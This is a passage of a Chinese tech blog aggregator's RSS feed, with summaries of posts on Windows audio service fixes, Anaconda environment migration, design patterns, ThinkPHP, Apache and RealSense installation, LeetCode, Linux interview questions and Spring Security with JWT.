      <description>Win10重启需重新安装声卡驱动，无法使用声音设备解决 Win + R 键打开运行窗口，输入 services.msc 回车&#xA;找到 Windows Audio 服务与 Windows Audio Endpoint Builder 服务，双击打开&#xA;将其启动类型修改为自动，点击应用-确定&#xA;若打开 service.msc 后查找到 Windows Audio 服务已经为开启状态，请先点击停止，然后点击启动；或者右击该服务点击重新启动。&#xA;可以在桌面创建 bat 脚本来重新启动该服务&#xA;新建重启音频服务.bat，右键编辑该文件，填入以下内容，每次开机后右键以管理员方式运行该文件&#xA;:: 以管理员方式启动 net stop Audiosrv pause net start Audiosrv pause 运行如图：&#xA;再重启该服务后，电脑的音量图标可能还是红叉，显示无法使用音频，此时可参考 https://blog.csdn.net/qq_45504119/article/details/104188365 进行设置。</description>
    </item>
    <item>
      <title>Anaconda 虚拟环境迁移</title>
      <link>https://bchobby.github.io/posts/80acce05a30b89b18b2f59a6faad87da/</link>
      <pubDate>Sun, 31 Jul 2022 20:54:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80acce05a30b89b18b2f59a6faad87da/</guid>
      <description>由于实验室同时有几台服务器，因此需要在不用服务器配置相同的虚拟环境，因此考虑了虚拟环境迁移，绝对成功。&#xA;参考链接：不同的Ubuntu服务器上，Anaconda的python虚拟环境迁移_qq_34292087的博客-CSDN博客&#xA;前提介绍&#xA;Ubuntu18.04&#xA;anaconda3.5&#xA;迁移目标：python3.6（即上图中的env1）&#xA;anaconda可以管理多个虚拟环境，在anaconda/envs目录下。假如服务器1上，我们有5个python环境（如上图），我们现在要把env1，复制到新的服务器2上&#xA;迁移过程 1、将服务器1上的anaconda/envs/env1，复制一份到服务器2的anaconda/envs下&#xA;我这里的环境名字是：Third&#xA;cd ~/anaconda3/envs scp -r name@原服务器IP:~/anaconda3/envs/Third ./ 2、修改pip文件。pip具体路径：~/anaconda3/envs/env1/bin/pip或者pip3（最好是两个都换一下）&#xA;第一行中的python绝对路径需要修改正确！！！（否则pip install 报错） #!/home/lcf/anaconda3/envs/Third/bin/python # -*- coding: utf-8 -*- import re import sys from pip._internal.cli.main import main if __name__ == &#39;__main__&#39;: sys.argv[0] = re.sub(r&#39;(-script\.pyw?|\.exe)?$&#39;, &#39;&#39;, sys.argv[0]) sys.exit(main()) 把第一行的“#!/home/lcf/anaconda3/envs/Third/bin/python”要修改成目的环境的路径</description>
    </item>
    <item>
      <title>设计模式之创建者模式中的单例模式、工厂方法模式、抽象工厂模式 主要概要梳理以及各模式优缺点总结</title>
      <link>https://bchobby.github.io/posts/fcf321065a156c25b63bbce2abbd4c1d/</link>
      <pubDate>Sun, 31 Jul 2022 19:21:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcf321065a156c25b63bbce2abbd4c1d/</guid>
      <description> 单例模式： 单例设计模式分类两种： 饿汉式：类加载就会导致该单实例对象被创建&#xA;懒汉式：类加载不会导致该单实例对象被创建，而是首次使用该对象时才会创建&#xA;单例模式的三种推荐实现方式： 双重检查锁方式（懒汉式）静态内部类方式（懒汉式）枚举方式（饿汉式） （还有其他的实现方式，但都有线程安全问题或内存浪费问题，所以推荐使用以上三个）&#xA;*以上的所有单例实现方式都存在被破坏的可能性【枚举方式除外，因为枚举方式JVM底层已经解决这个问题】&#xA;破坏单例模式的两种方式： 序列化和反序列化暴力反射 解决两类破坏的应对方式： 序列化反序列方式破坏单例模式的解决方法 在Singleton类中添加readResolve()方法，在反序列化时被反射自动调用，如果定义了这个方法，就返回这个方法的值，如果没有定义，则返回新new出来的对象。反射方式破解单例的解决方法 抛异常 =================================================================&#xA;工厂模式 简单工厂模式 并不属于23种设计模式中的一种，更多的是一种编程的习惯在 优点： 封装了创建对象的过程，可以通过参数直接获取对象。把对象的创建和业务逻辑层分开，这样以后就避免了修改客户代码，如果要实现新产品直接修改工厂类，而不需要在原代码中修改，这样就降低了客户代码修改的可能性，更加容易扩展。缺点： 增加新产品时还是需要修改工厂类的代码，违背了“开闭原则”。 工厂方法模式 优点： 用户只需要知道具体工厂的名称就可得到所要的产品，无须知道产品的具体创建过程；在系统增加新的产品时只需要添加具体产品类和对应的具体工厂类，无须对原工厂进行任何修改，满足开闭原则；缺点： 每增加一个产品就要增加一个具体产品类和一个对应的具体工厂类，可能会产生类爆炸。 抽象工厂模式 优点： 相比于工厂方法模式，抽象工厂模式对类进行同一级别和同一产品族的归纳，向上抽取共同点进行抽象类实现，减少类爆炸的可能性当一个产品族中的多个对象被设计成一起工作时，它能保证客户端始终只使用同一个产品族中的对象。缺点： 当产品族中需要增加一个新的产品时，所有的工厂类都需要进行修改。 模式扩展 优点： 模式扩展就是简单工厂+配置文件实现解耦合缺点： 需要在代码中进行读配置文件的操作。也不算缺点，就是写代码的时候更麻烦了，但是使用的时候比较方便，完全实现了类于类之间的解耦合 </description>
    </item>
    <item>
      <title>(1)Thinkphp6入门、安装视图、模板渲染、变量赋值</title>
      <link>https://bchobby.github.io/posts/4c54a6808f9fa6d882fe52f8e374d493/</link>
      <pubDate>Sun, 31 Jul 2022 17:00:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c54a6808f9fa6d882fe52f8e374d493/</guid>
      <description>目录&#xA;一、MVC&#xA;二.单应用模式访问&#xA;三.安装视图&#xA;​四. 模板渲染&#xA;五.模板变量&#xA;Thinkphp支持传统的MVC(Model-View-Controller)模式以及流行的MVVM(Model-View-ViewModel)模式的应用开发。&#xA;一、MVC MVC 软件系统分为三个基本部分：模型（Model）、视图（View）和控制器（Controller）&#xA;ThinkPHP6 是一个典型的 MVC 架构&#xA;控制器—控制器，用于将用户请求转发给相应的Model进行处理，并根据Model的计算结果向用户提供相应响应视图—为用户提供使用界面，与用户直接进行交互。&#xA;模型—承载数据，并对用户提交请求进行计算的模块。&#xA;MVC架构程序的工作流程：&#xA;（1）用户通过View 页面向服务端提出请求，可以是表单请求、超链接请求、AJAX 请求等&#xA;（2）服务端Controller 控制器接收到请求后对请求进行解析，找到相应Model 对用户请求进行处理&#xA;（3）Model处理后，将处理结果再交给 Controller&#xA;（4）Controller在接到处理结果后，根据处理结果找到要作为向客户端发回的响应View页面。页面经渲染（数据填充）后，再发送给客户端。&#xA;二.单应用模式访问 项目访问路径：域名/index.php/index/index&#xA;index.php 入口文件(可以通过配置伪静态省略)&#xA;index 控制器&#xA;index 方法&#xA;文件名与文件里的类名要一致，不然无法自动加载&#xA;三.安装视图 新版框架默认只能支持PHP原生模板，如果需要使用think Template模板引擎，需要安装think-view扩展(扩展会自动安装think Template依赖库)&#xA;composer require topthink/think-view&#xA;视图目录可以在根目录，也可以在app应用目录，可以通过config目录下的view.php修改视图配置&#xA;四. 模板渲染 要使用View，必须先引入think\facade\View 门面类&#xA;模板渲染的最典型用法是直接使用fetch方法，不带任何参数，系统会按照默认规则自动定位视图(view)目录下的模板文件，其规则是：控制器名(小写+下划线)/操作名(方法名字).html&#xA;controller代码 &amp;gt;&amp;gt; index.php&#xA;&amp;lt;?php namespace app\controller; use think\facade\View; class Index{ public function index(){ return View::fetch(); } } view代码(注：在app目录下，view目录需要我们手动创建)&#xA;一个控制器的接口文件（index.php）需要对应view下同名目录中的一个同名HTML文件。&#xA;即：</description>
    </item>
    <item>
      <title>CorelDRAW2022精简亚太新增功能详细介绍</title>
      <link>https://bchobby.github.io/posts/bdc171a4b1f1496526896aa91851c2c6/</link>
      <pubDate>Sun, 31 Jul 2022 00:11:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdc171a4b1f1496526896aa91851c2c6/</guid>
      <description>CorelDRAW 2022上线已经5个月了，很多小伙伴都新增安装并且已经能够熟练掌握了。那CorelDRAW 2022的新功能您都解锁了吗？今天就小编一起来看看CorelDRAW 2022都有哪些新功能以及新功能的使用详解吧！看您还有什么遗漏的新功能没有找到呢！&#xA;一 :多资产导出使用详解&#xA;很多小伙伴都会使用CorelDRAW 编辑排版及绘制画册，好不容易完成工作，却不知道如何导出。这不，在 CorelDRAW 2022最新版中，就更新了多资产导出功能，可以帮助用户快速导出作品。除了导出功能，多资产导出窗口还能对资产进行管理，我们一起来看看具体用法吧！&#xA;新增导出对象或页面&#xA;在文档中选择[页面]或[对象]，在导出窗口中，点击页面中的[新增]按钮，就可以创建导出对象或页面。这个选中的操作很实用，如果在页面中有很多元素，而需要导出的就只有一个元素，选中该元素，就只会创建该元素对应的导出对象。当然，它也适用于多页面文档中，只想导出部分页面的情况。&#xA;导出设置&#xA;① 新增后，在导出窗口就会显示导出列表。在窗口中还可以选择导出的格式， CorelDRAW 2022支持的导出格式有TIF、GIF、JPG、PNG、EPS、PDF、SVG。点击删除按钮可以删除列表中的页面。&#xA;② 点击[设置]按钮，会弹出对话框，在对话框中可以预览导出的页面，并且可以切换多种预览方式。在对话框中，还可以放大缩小页面，设置导出的质量、颜色模式、清晰度等。&#xA;③ 点击[选项]按钮，可以看到[再制]、[使用这些设置添加资产]、[导出项目]这三个选项。[再制]就是复制列表选中的页面或对象，[使用这些设置添加资产]是创建导出资产，并将选中页面中的设置复制到新建的资产上。[导出项目]就是可以对选中的项目执行导出命令。&#xA;其他功能&#xA;CorelDRAW 2022导出窗口最下方还有一排按钮，从左往右依次是[新增资产]、[默认文件格式]、[全选]、[删除]、[目标文件夹]和[导出]按钮。&#xA;二‍:多页视图使用详解&#xA;在原有功能的基础上，CorelDRAW 2022版增强了多页视图的功能，它的主要操作有：&#xA;1. 创建多页视图&#xA;① 运行软件，点击[创建新文档]。在弹出的窗口中，输入文档名，[页面视图]选择[多页视图]，设置好文档的其他参数，点击[OK]进行创建。&#xA;② 创建后在主界面可以看到页面的序号，软件默认创建页面1。&#xA;2. 切换多页视图&#xA;如果在新建文档时，创建的是单页视图，可以在软件中切换成多页视图。点击菜单栏中[对象]，再勾选[页]。在调出的窗口中可以切换为多页视图。&#xA;3. 管理多页视图&#xA;① 在[页]窗口中可以设置页的排列布局。&#xA;② 在[页]窗口下方可以设置缩略图的大小和排列方式。&#xA;③ 点击[设置]按钮，可以[新建页面]、[插入页面]、[再制页面]和[删除页面]。新建页面就是在当前页面后新建一个默认的空白页面。CorelDRAW 还提供了另外两种新建页面的方法，一种是点击页窗口下方的[新建页面]的按钮，另一种是点击软件下方的“+”按钮。&#xA;④ 点击[插入页面]，会弹出对话框，在对话框中可以设置页码、页面尺寸以及页面方向，点击OK就可以插入一个页面。&#xA;⑤ 点击[再制页面]，可以设置插入页面的页码，同时还能选择复制图层和内容。&#xA;⑥ 选中页面，再点击删除页面，就可以删除当前选中的页面。多页视图中至少要有一个页面，所以当文档只有一个页面时，就不能进行删除操作。&#xA;⑦ 选中某个页面，右键单击可以操作当前页面，包括切换页面方向、重命名等。在软件的下方的页面选项卡中也可以进行同样的操作。&#xA;有了多页视图，我们可以在一个视图中查看、管理和编辑项目的所有页面。如果有图文排版的需求，使用这个功能再合适不过了！它可以帮助用户快速高效地在多个页面之间移动、排列和设计对象。&#xA;更多CorelDRAW 2022的新功能会持续更新，敬请期待！&#xA;CorelDRAW2022订阅版mac-安装包下载&#xA;https://wm.makeding.com/iclk/?zoneid=49497&#xA;CorelDRAW2022订阅版win-安装包下载&#xA;https://wm.makeding.com/iclk/?zoneid=49498</description>
    </item>
    <item>
      <title>关于Python使用to_excel报错：PermissionError: [Errno 13] Permission denied: ‘data_topic.xlsx‘</title>
      <link>https://bchobby.github.io/posts/a01351456b61c434c582accca6b29231/</link>
      <pubDate>Sat, 30 Jul 2022 23:39:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a01351456b61c434c582accca6b29231/</guid>
      <description>检查了很久，最后发现是由于文件&#39;data_topic.xlsx&#39;打开后没有关闭导致的操作权限被拒绝，找到这个excel文件关闭就解决了。</description>
    </item>
    <item>
      <title>力扣706. 手写简单hash表（2022.7.30）</title>
      <link>https://bchobby.github.io/posts/80e2b20630c79101339b08a501f043d2/</link>
      <pubDate>Sat, 30 Jul 2022 23:01:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80e2b20630c79101339b08a501f043d2/</guid>
      <description>706. 设计哈希映射&#xA;不使用任何内建的哈希表库设计一个哈希映射（HashMap）。&#xA;实现 MyHashMap 类：&#xA;MyHashMap() 用空映射初始化对象void put(int key, int value) 向 HashMap 插入一个键值对 (key, value) 。如果 key 已经存在于映射中，则更新其对应的值 value 。int get(int key) 返回特定的 key 所映射的 value ；如果映射中不包含 key 的映射，返回 -1 。void remove(key) 如果映射中存在 key 的映射，则移除 key 和它所对应的 value 。 在手写hash表之前，我们首先得了解hash表底层是怎样构成的。hash表在1.8之后是由数组+链表+红黑树构成的，当链表长度大于8并且数组长度大于64时，会发生链表转红黑树，在这道题中，我们不用考虑那么多，只需要实现数组加链表即可&#xA;首先我们需要一个数组和链表节点，数组长度我们设为1009，是1000之后的第一个质数，长度为质数时数据可以尽量的均匀分配在数组中&#xA;代码如下&#xA;class MyHashMap { Node[] table; int len = 1009; class Node { int key; int val; Node next; Node() { } Node(int key, int val) { this.</description>
    </item>
    <item>
      <title>Linux操作系统——面试题-(腾讯,百度,美团,滴滴)</title>
      <link>https://bchobby.github.io/posts/6366368e9c2232ae0f5f36f0f401b86a/</link>
      <pubDate>Sat, 30 Jul 2022 21:53:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6366368e9c2232ae0f5f36f0f401b86a/</guid>
      <description>文章目录 26 Linux 面试题-(腾讯,百度,美团,滴滴)26.1 分析日志t.log(访问量)，将各个ip 地址截取，并统计出现次数,并按从大到小排序(腾讯)26.2 统计连接到服务器的各个 ip 情况，并按连接数从大到小排序 (腾讯)26.3 问题：如忘记了mysql5.7 数据库的 ROOT 用户的密码，如何找回? (滴滴)26.4 写出指令：统计 ip 访问情况，要求分析nginx 访问日志(access.log)，找出访问页面数量在前 2 位的 ip(美团)26.5 使用 tcpdump 监听本机, 将来自ip 192.168.200.1，tcp 端口为 22 的数据，保存输出到26.6 常用的Nginx 模块，用来做什么(头条)26.7 如果你是系统管理员，在进行Linux 系统权限划分时,应考虑哪些因素?（腾讯）26.8 权限操作思考题26.9 说明 Centos7 启动流程，并说明和CentOS6 相同和不同的地方(腾讯)26.10 问题：列举 Linux 高级命令，至少 6 个(百度)26.11 问题：Linux 查看内存、io 读写、磁盘存储、端口占用、进程查看命令是什么?(瓜子)26.12 使用 Linux 命令计算 t2.txt 第二列的和并输出 (美团)26.13 Shell 脚本里如何检查一个文件是否存在？并给出提示(百度)26.14 用shell 写一个脚本，对文本 t3.txt 中无序的一列数字排序, 并将总和输出(百度)26.15 请用指令写出查找当前文件夹（/home）下所有的文本文件内容中包含有字符 “cat” 的文件名称(金山)26.16 请写出统计/home 目录下所有文件个数和所有文件总行数的指令(在金山面试题扩展)26.17 列出你了解的web 服务器负载架构(滴滴)26.18 每天晚上 10 点 30 分，打包站点目录/var/spool/mail 备份到/home 目录下（每次备份按时间生成不同的备份包 比如按照 年月日时分秒）(滴滴)26.</description>
    </item>
    <item>
      <title>如何让history历史记录前带时间戳</title>
      <link>https://bchobby.github.io/posts/b41dabe0ca8752b817b6f4850909fdb5/</link>
      <pubDate>Sat, 30 Jul 2022 20:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b41dabe0ca8752b817b6f4850909fdb5/</guid>
      <description>如何让history历史记录前带时间戳&#xA;操作方法：&#xA;设置HISTTIMEFORMATE变量.&#xA;临时解决方法: export HISTTIMEFORMAT=&#39;%F %T &#39;&#xA;永久解决方法：vim /ect/profile export HISTTIMEFORMAT=&#39;%F %T &#39;</description>
    </item>
    <item>
      <title>Apache安装配置(Linux)-有手就行</title>
      <link>https://bchobby.github.io/posts/58751a089b4c4546ef3620b44e368f62/</link>
      <pubDate>Sat, 30 Jul 2022 19:50:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58751a089b4c4546ef3620b44e368f62/</guid>
      <description>Apache安装配置(Linux)-有手就行 文章目录 ## Apache(Linux) ## 1.下载 ## 2.解压 ## 3.安装 ## 4.启动服务 ## 5.设置开机自启 ## 6测试 ## 7.总结 Apache是什么？ Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上，由于其跨平台和安全性被广泛使用，是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充，将Perl/Python等解释器编译到服务器中。&#xA;1.下载 网盘链接：链接：https://pan.baidu.com/s/1mmPnDAV6J8kyZq1IfVGBoQ&#xA;提取码：cd34&#xA;1.1方法一yum: 我本人使用了yum install httpd安装可省去一些步骤,就不需要用到网盘链接里的安装包,适合新手.&#xA;[root@localhost changling]# cd /usr/local/src [root@localhost src]# yum install httpd #下载apache [root@localhost src]# wget http://mirrors.cnnic.cn/apache/apr/apr-1.7.0.tar.gz #下载APR [root@localhost src]# wget http://mirrors.cnnic.cn/apache/apr/apr-util-1.6.1.tar.bz2 #下载APR-util [root@localhost src]# yum install -y pcre pcre-devel #安装PCRE 1.2方法二(链接) 使用网盘链接下载apache代码如下&#xA;[root@localhost changling]# cd /usr/local/src [root@localhost src]# wget http://mirrors.cnnic.cn/apache/httpd/httpd-2.4.46.tar.gz #下载apache [root@localhost src]# wget http://mirrors.</description>
    </item>
    <item>
      <title>Goland中调用同级目录下、不同级目录下的函数</title>
      <link>https://bchobby.github.io/posts/6cfd0b57110bc56e83c398371bd6e241/</link>
      <pubDate>Sat, 30 Jul 2022 16:50:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6cfd0b57110bc56e83c398371bd6e241/</guid>
      <description>一、同级目录 要求： 在One文件下有两个文件，分别为main.go和add.go，main.go调用add.go中的Add()函数并输出。&#xA;main.go代码：&#xA;add.go代码：&#xA;注意：&#xA;1、如果使用的是Goland，在运行时，需要选中两个文件进行运行，否则系统在寻找Add()函数时会报错，显示：Undefined：Add（）。由于add.go文件并没有编译，因此在main.go执行的时候无法编译通过。&#xA;2、在同级目录下，包名必须是main，否则会显示“Error: Run after the build is not possible The &#39;main&#39; file has the non-main package or does not contain the &#39;main&#39; function”。对于独立运行的执行文件必须是 package main。&#xA;3、调用其他文件中的函数时，函数名首字母要大写&#xA;二、不同级目录 （1）同一文件夹下 要求： 在Two文件下有两个文件，分别为main.go和mul.go，mul.go文件保存在Calc文件夹下。main.go调用mul.go中的Mul()函数。&#xA;main.go代码：&#xA;mul.go代码“&#xA;注意：&#xA;1、一定要导入Calc这个包，否则程序找不到Mul()函数&#xA;2、main.go文件的包名一定是package main，不能是其他 3、调用其他文件中的函数时，函数名首字母要大写&#xA;（2）不同文件夹下 要求： 有两个文件夹分别为：Two和Three，Two文件夹下的main.go调用Three文件夹中Readd文件中的Readd()函数。&#xA;main.go代码：&#xA;Readd.go代码：&#xA;注意：&#xA;1、一定要导入Three包&#xA;2、main.go文件的包名一定是package main，不能是其他 3、调用其他文件中的函数时，函数名首字母要大写</description>
    </item>
    <item>
      <title>【亲测有效】树莓派4B安装realsense（Intel深度摄像头）</title>
      <link>https://bchobby.github.io/posts/9d60573f0b403613a91fbbfd22557259/</link>
      <pubDate>Sat, 30 Jul 2022 14:09:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d60573f0b403613a91fbbfd22557259/</guid>
      <description>第一步尝试通过pip下载，发现不能下载&#xA;pip install pyrealsense2 pip中的pyrealsense2只能下载给X86结构的计算机，并不能下载给arm结构的树莓派，故我们需要获得源码手动进行编译安装&#xA;这个是官网的安装教程：&#xA;https://github.com/acrobotic/Ai_Demos_RPi/wiki/Raspberry-Pi-4-and-Intel-RealSense-D435 不过安装后在启动python后，import pyrealsense2，还是发现报错，于是找到其他方法，进行安装，下面分享我的安装过程和遇到的一些问题解决方案。&#xA;本树莓派环境&#xA;Linux raspberrypi 5.10.63-v7l+ # 是raspberry pi官方的32位系统，下载包为2021-05-07-raspios-buster-armhf python版本 3.7.3 cmake版本 3.16.3 摄像头型号：Intel D415 #型号影响不大 第一步：安装依赖包 sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade &amp;amp;&amp;amp; sudo apt-get dist-upgrade sudo apt-get install git cmake libssl-dev libusb-1.0-0-dev pkg-config libgtk-3-dev sudo apt-get install libglfw3-dev libgl1-mesa-dev libglu1-mesa-dev 前两步必装，第三条用于realsense-viewer，可不装&#xA;第二步：下载realsense SDK git clone https://github.com/IntelRealSense/librealsense.git 输入上面命令，如果显示fatal：不能连接到这个网址之类的，我们直接到他的网址下（https://github.com/IntelRealSense/librealsense）下载zip包（librealsense-master.zip）,如果树莓派有显示器则我们可以到那个网址下直接下载，没有显示器，我们也可以通过下载到PC机，再通过scp命令传输到树莓派上。下载慢的话可以使用IDM或者迅雷获取安装包的网址进行下载。&#xA;第三步：编译准备 在编译之前，我们应该了解一下swap空间这个东西，在编译或者运行其他较大的程序时，有时总卡在99%不能运行下去，有可能就是运行内存不够用，这里建议树莓派4B以下的都扩展一下swap空间，如果4B也有这个问题同样扩展。还有分配太多swap空间，会浪费SD卡的磁盘空间，一般内存小于2G的情况下，交换分区应为内存的2倍。&#xA;①方法一&#xA;sudo apt-get install dphys-swapfile # 安装dphys-swapfile，该软件自动设置为内存的两倍大小 sudo nano /etc/dphys-swapfile # 将 CONF_SWAPSIZE 和 CONF_MAXSWAP 这俩值修改成想要的大小，一般内存小于2G的情况下，交换分区应为内存的2倍 sudo /etc/init.</description>
    </item>
    <item>
      <title>基于python web实现的猫咪信息管理及领养系统</title>
      <link>https://bchobby.github.io/posts/74df71c8464a41044ef592bbefe614ce/</link>
      <pubDate>Sat, 30 Jul 2022 10:22:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74df71c8464a41044ef592bbefe614ce/</guid>
      <description>前引： 大二第一次尝试写一个小项目，边学边写，最后写了一个小系统，用来查询和领养校园猫咪并配备了管理员的功能，第一次做完了一个完整的小项目后来用做我的程序设计设计实践和数据库大作业，写一篇博客也算是纪念一下，系统功能比较少，页面和代码都不成熟（纯小白，不喜勿喷），有需要的话自取，源码在我的GitHub里https://github.com/NieYFeng/Cat-adoption-aid-system&#xA;系统概述： 需求分析&#xA;系统需求分析&#xA;通过对学校小猫咪的各项数据的收集与调查，我们设计的系统需求分析图如下图：&#xA;功能性需求分析&#xA;管理员需求分析&#xA;管理员需要做的事情有：&#xA;系统用户信息管理猫咪信息管理宠物领养管理信息审核 用户需求分析&#xA;用户需要获得的信息有：&#xA;个人中心猫咪信息查看猫咪领养申请留言板 非功能性需求分析&#xA;（1）注册/登录设计&#xA;（2）管理员和用户在浏览网页的时候有数据记录&#xA;（3）方便可靠性，系统维护&#xA;系统总体设计&#xA;数据库设计&#xA;猫咪信息表&#xA;用户信息表&#xA;管理员处猫咪信息表&#xA;登录信息表&#xA;申请表&#xA;留言管理&#xA;系统的实现与测试&#xA;功能的实现&#xA;1 用户注册/登录&#xA;2 游客访问界面&#xA;3 猫咪信息查询&#xA;4 领养申请&#xA;5 留言板&#xA;6 管理员界面（部分）&#xA;部分代码： 用户登录 &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34; /&amp;gt; &amp;lt;title&amp;gt;猫咪领养系统登录&amp;lt;/title&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;https://bchobby.github.io/static/plugins/bootstrap-3.4.1/css/bootstrap.css&#34;&amp;gt; &amp;lt;style&amp;gt; li { list-style: none; } body { margin: 0; padding: 0; box-sizing: border-box; background-image: url(../static/img/猫咪.jpeg); /* background-image: url(./static/img/猫咪.jpeg); */ background-repeat: no-repeat; /*这里的100% auto 表示将背景图片的长度100%显示，高度自适应*/ background-size: 100% auto; } #maxbox { margin: 0 auto; margin-top: 200px; padding: 20px, 50px; /*这里的90表示以不透明度90%显示*/ background-color:#00000060; text-align: center; width: 600px; height: 400px; border-radius: 10px; } #maxbox h1 { padding: 0; padding-top: 60px; color: white; font-size: 30px; padding-bottom: 4px; border-bottom: solid 1px white; } #maxbox h2 { font-weight: 700; } #maxbox .</description>
    </item>
    <item>
      <title>a&#43;=a-=a*=a，求a的值为多少</title>
      <link>https://bchobby.github.io/posts/61e25c7b9c12a411e613369d891fa1f4/</link>
      <pubDate>Sat, 30 Jul 2022 09:17:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61e25c7b9c12a411e613369d891fa1f4/</guid>
      <description> 设有语句 int a=3；，则执行了语句 a+=a-=a*=a; 后，变量 a 的值是________。&#xA;A. 3 B. 0 C. 9 D. -12&#xA;（1）分析：结果为0，要从后往前算，先运算a*=a,变形为a=axa=9，这时候a被赋值为9，这时候在计算时，a就为9，a-=a相当于a=9-9=0，即最后结果为0。&#xA;（2）这里要与a += a-=a*a区别开来，axa没有赋值，所以再次计算的时候a为3，a-=9 ，a=-6，这里赋值了，a+=a相当于a=-6-6=-12.&#xA;代码运行结果如下&#xA;#include &amp;lt;stdio.h&amp;gt; int main(int argc,char *argv[]) { int a=3,b=3; a+=a-=a*=a; b+=b-=b*b; printf(&#34;a=%d b=%d\n&#34;,a,b); return 0; } </description>
    </item>
    <item>
      <title>【全网最细致】SpringBoot整合Spring Security &#43; JWT实现用户认证</title>
      <link>https://bchobby.github.io/posts/bd8e0f501bbaed091ecc130c4341d2d1/</link>
      <pubDate>Fri, 29 Jul 2022 23:05:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd8e0f501bbaed091ecc130c4341d2d1/</guid>
      <description>【全网最细致】SpringBoot整合Spring Security + JWT实现用户认证 登录和用户认证是一个网站最基本的功能，在这篇博客里，将介绍如何用SpringBoot整合Spring Security + JWT实现登录及用户认证&#xA;文章目录 【全网最细致】SpringBoot整合Spring Security + JWT实现用户认证 前置知识：Session、Cookie与Token session与cookiesession的弊端tokensession与token的总结 JWT登录及用户认证流程设计前置知识：Spring Security根据自己的项目需求实现SpringSecurity中的部分过滤器正式开始整合Spring Security和JWT pom.xml添加相应依赖写一个JWT工具类写登录认证成功、失败处理器LoginSuccessHandler、LoginFailureHandler写RedisUtil工具类以及验证码配置后端写获取验证码接口验证码过滤器CaptchaFilterJWT过滤器JwtAuthenticationFilterJWT认证失败处理器JwtAuthenticationEntryPoint从数据库中验证用户名、密码：UserServiceDetails、AuthenticationManager、UserDetails无权限访问的处理：AccessDenieHandler登出处理器LogoutSuccessHandler密码加密解密：PasswordEncoder整合所有组件，进行Spring Security全局配置：SecurityConfig 前端需要做什么最后说说SpringSecurity和Shiro的权限管理 前置知识：Session、Cookie与Token session与cookie 在一些传统项目中，我们或许会用session来保存用户信息，进行用户认证。而现在基本上都用token来代替session，为什么会出现这样的变化，我们来聊聊session、cookie以及token&#xA;在谈session和cookie前，首先我们来谈谈会话。http本身是无状态协议，服务器无法识别每一次HTTP请求的出处（不知道来自于哪个终端），它只会接受到一个请求信号，所以就存在一个问题：将用户的响应发送给相应的用户，必须有一种技术来让服务器知道请求来自哪，这就是会话技术。&#xA;会话就是客户端和服务器之间发生的一系列连续的请求和响应的过程。会话状态指服务器和浏览器在会话过程中产生的状态信息，借助于会话状态，服务器能够把属于同一次会话的一系列请求和响应关联起来。&#xA;实现会话有两种方式：session和cookie。Session通过在服务器端记录信息确定用户身份，相应的也增加了服务器的存储压力。客户端浏览器访问服务器的时候，服务器把客户端信息以某种形式记录在服务器上，这就是Session。属于同一次会话的请求都有一个相同的标识符，sessionID,客户端浏览器再次访问时只需要通过sessionID从Session中查找该客户的状态就可以了。那么后端是怎么把sessionID返回给客户端的？可以通过设置cookie的方式返回给客户端，若浏览器禁止cookie，则可以通过URL重写的方式发送。&#xA;刚刚提到了cookie，Cookie是服务端在HTTP响应中附带传给浏览器的一个小的文本文件，一旦浏览器保存了某个Cookie，在之后的请求和响应过程中，会将此Cookie来回传递，这样就可以通过Cookie这个载体完成客户端和服务端的数据交互。&#xA;使用Session进行用户认证时，当用户第一次通过浏览器使用用户名和密码访问服务器时，服务器会验证用户数据，验证成功后在服务器端写入session数据，向客户端浏览器返回sessionid，浏览器将sessionid保存在cookie中，当用户再次访问服务器时，会携带sessionid，服务器会拿着sessionid从服务器获取session数据，然后进行用户信息查询，查询到，就会将查询到的用户信息返回，从而实现状态保持，流程如下图：&#xA;session的弊端 服务器压力增大&#xA;通常session是存储在内存中的，每个用户通过认证之后都会将session数据保存在服务器的内存中，而当用户量增大时，服务器的压力增大。CSRF跨站伪造请求攻击&#xA;一般session是基于cookie进行用户识别的, cookie如果被截获，用户就会很容易受到跨站请求伪造的攻击。即使不用cookie，用重写url方式发送sessionId，那就更容易被截获信息了扩展性不强&#xA;想象这么一个场景，若项目在多个服务器上部署，那我再其中一台登录了，称为A，session也保存到A中，万一下次我访问到另外一台服务器B怎么办？B上没有A的session呢？为了解决这个问题，我们需要将session保存到数据库中，所以每次保存这些session信息就是一个负担了，增加了服务器的存储压力。 token token的意思是“令牌”，是服务端生成的一串加密字符串（服务器端并不进行保存），作为客户端进行请求的一个标识。当用户第一次登录后，服务器生成一个token并将此token返回给客户端浏览器，以后客户端只需带上这个token前来请求数据即可，无需再次带上用户名和密码。&#xA;浏览器会将接收到的token值存储在Local Storage中，浏览器再次访问时服务器端时，服务器对浏览器传来的token值进行解密，解密完成后进行用户数据的查询，如果查询成功，则通过认证，实现状态保持，所以，即使有了多台服务器，服务器也只是做了token的解密和用户数据的查询，它不需要在服务端去保留用户的认证信息或者会话信息，这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了，这就为应用的扩展提供了便利，同时服务器也不需要保存token，token的出现就解决了session的弊端，成为了session的替代品。&#xA;使用token进行用户认证的流程如下图：&#xA;session与token的总结 token 是无状态的，后端不需要记录信息，每次请求过来进行解密就能得到对应信息。&#xA;session 